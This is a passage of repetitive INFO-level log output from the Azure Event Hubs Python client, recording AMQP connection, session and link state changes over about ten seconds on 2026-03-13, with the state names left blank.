INFO: Link state changed: -> +2026-03-13 03:19:34,570 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:34,570 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:34,570 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:34,570 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:34,570 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:34,570 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:34,570 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:34,570 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:34,570 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:34,570 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:34,570 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:34,570 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:34,571 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:34,800 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:19:34,908 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:34,908 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:34,908 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:34,909 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:34,909 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:34,909 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:34,909 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:34,909 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:34,962 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:35,013 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:35,063 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:35,114 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:35,114 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:35,164 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:35,164 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:35,370 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:35,424 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:35,535 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:35,535 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:35,535 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:35,535 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:35,535 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:35,535 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:35,535 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:35,535 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:35,535 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:35,535 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:35,535 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:35,535 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:35,535 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:35,535 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:35,776 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:19:35,894 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:35,894 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:35,894 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:35,894 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:35,894 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:35,894 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:35,894 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:35,894 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:35,952 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:36,003 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:36,053 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:36,104 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:36,104 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:36,154 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:36,154 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:36,364 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:36,424 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:36,541 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:36,541 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:36,541 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:36,541 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:36,541 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:36,541 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:36,541 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:36,541 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:36,541 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:36,541 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:36,541 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:36,541 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:36,541 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:36,541 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:36,789 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:19:36,906 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:36,906 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:36,906 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:36,906 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:36,906 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:36,906 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:36,906 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:36,906 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:36,964 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:37,014 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:37,064 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:37,115 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:37,115 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:37,165 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:37,166 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:37,375 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:37,434 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:37,550 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:37,550 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:37,550 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:37,550 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:37,550 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:37,550 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:37,550 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:37,550 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:37,550 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:37,550 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:37,550 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:37,550 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:37,550 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:37,550 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:37,782 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:19:37,892 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:37,892 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:37,892 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:37,892 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:37,924 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:37,925 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:37,925 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:37,925 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:37,946 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:37,996 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:38,046 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:38,097 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:38,097 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:38,147 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:38,147 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:38,353 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:38,408 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:38,519 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:38,519 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:38,519 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:38,519 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:38,519 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:38,519 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:38,519 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:38,519 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:38,519 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:38,519 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:38,519 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:38,519 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:38,520 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:38,520 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:38,744 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:19:38,850 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:38,850 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:38,851 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:38,851 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:38,851 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:38,851 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:38,851 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:38,851 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:38,903 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:38,954 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:39,004 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:39,055 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:39,055 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:39,105 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:39,105 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:39,310 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:39,363 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:39,475 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:39,475 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:39,475 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:39,475 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:39,475 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:39,475 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:39,475 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:39,475 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:39,475 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:39,475 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:39,475 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:39,475 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:39,475 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:39,475 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:39,690 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:19:39,790 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:39,791 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:39,791 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:39,791 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:39,791 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:39,791 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:39,791 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:39,791 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:39,841 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:39,891 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:39,942 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:39,992 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:39,992 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:40,043 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:40,043 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:40,245 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:40,296 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:40,402 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:40,403 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:40,403 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:40,403 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:40,403 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:40,403 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:40,403 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:40,403 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:40,403 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:40,403 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:40,403 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:40,403 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:40,403 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:40,403 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:40,656 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:19:40,772 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:40,772 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:40,772 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:40,772 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:40,772 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:40,772 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:40,772 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:40,772 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:40,829 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:40,880 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:40,930 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:40,981 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:40,981 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:41,031 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:41,031 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:41,241 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:41,299 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:41,414 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:41,414 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:41,414 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:41,414 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:41,414 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:41,414 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:41,414 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:41,414 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:41,414 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:41,415 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:41,415 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:41,415 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:41,415 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:41,415 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:41,645 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:19:41,753 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:41,753 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:41,754 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:41,754 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:41,754 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:41,754 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:41,754 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:41,754 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:41,807 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:41,858 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:41,908 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:41,959 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:41,959 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:42,009 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:42,009 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:42,215 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:42,270 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:42,382 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:42,382 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:42,383 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:42,383 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:42,383 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:42,383 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:42,383 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:42,383 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:42,383 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:42,383 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:42,383 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:42,383 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:42,383 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:42,383 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:42,624 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:19:42,741 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:42,741 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:42,741 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:42,741 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:42,742 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:42,742 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:42,742 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:42,742 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:42,800 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:42,850 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:42,901 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:42,951 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:42,951 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:43,002 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:43,002 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:43,212 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:43,271 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:43,387 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:43,387 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:43,387 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:43,387 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:43,387 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:43,387 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:43,387 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:43,388 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:43,388 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:43,388 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:43,388 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:43,388 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:43,388 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:43,388 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:43,631 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:19:43,748 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:43,748 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:43,748 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:43,748 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:43,748 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:43,748 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:43,748 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:43,748 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:43,806 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:43,856 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:43,907 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:43,957 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:43,957 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:44,008 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:44,008 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:44,217 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:44,276 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:44,391 